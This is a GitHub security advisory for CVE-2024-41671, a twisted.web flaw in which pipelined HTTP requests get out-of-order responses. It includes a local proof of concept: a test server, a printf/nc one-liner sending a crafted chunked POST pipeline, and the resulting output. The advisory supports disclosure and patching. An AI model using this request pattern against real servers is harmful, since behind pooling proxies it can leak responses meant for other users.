ghsa-c8m8-j448-xjx7
Vulnerability from github
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
sh docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor
class TheResource(resource.Resource): isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
sh
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
4. Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html
GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html
POST ```
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 24.3.0" }, "package": { "ecosystem": "PyPI", "name": "twisted" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "24.7.0rc1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-41671" ], "database_specific": { "cwe_ids": [ "CWE-444" ], "github_reviewed": true, "github_reviewed_at": "2024-07-29T16:33:11Z", "nvd_published_at": "2024-07-29T15:15:15Z", "severity": "HIGH" }, "details": "### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update \u0026\u0026 apt -y install ncat git python3 python3-pip \\\n \u0026\u0026 git clone --recurse-submodules https://github.com/twisted/twisted \\\n \u0026\u0026 cd twisted \\\n \u0026\u0026 pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests\u0027 methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n isLeaf = True\n\n def render_GET(self, request) -\u003e bytes:\n return b\"GET\"\n\n def render_POST(self, request) -\u003e bytes:\n return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n\u0027; sleep 1; printf \u0027GET / HTTP/1.1\\r\\n\\r\\n\u0027; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.", "id": "GHSA-c8m8-j448-xjx7", "modified": "2024-07-29T16:33:11Z", "published": "2024-07-29T16:33:11Z", "references": [ { "type": "WEB", "url": "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41671" }, { "type": "WEB", "url": "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33" }, { "type": "WEB", "url": "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc" }, { "type": "PACKAGE", "url": "https://github.com/twisted/twisted" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L", "type": "CVSS_V4" } ], "summary": "twisted.web has disordered HTTP pipeline response" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.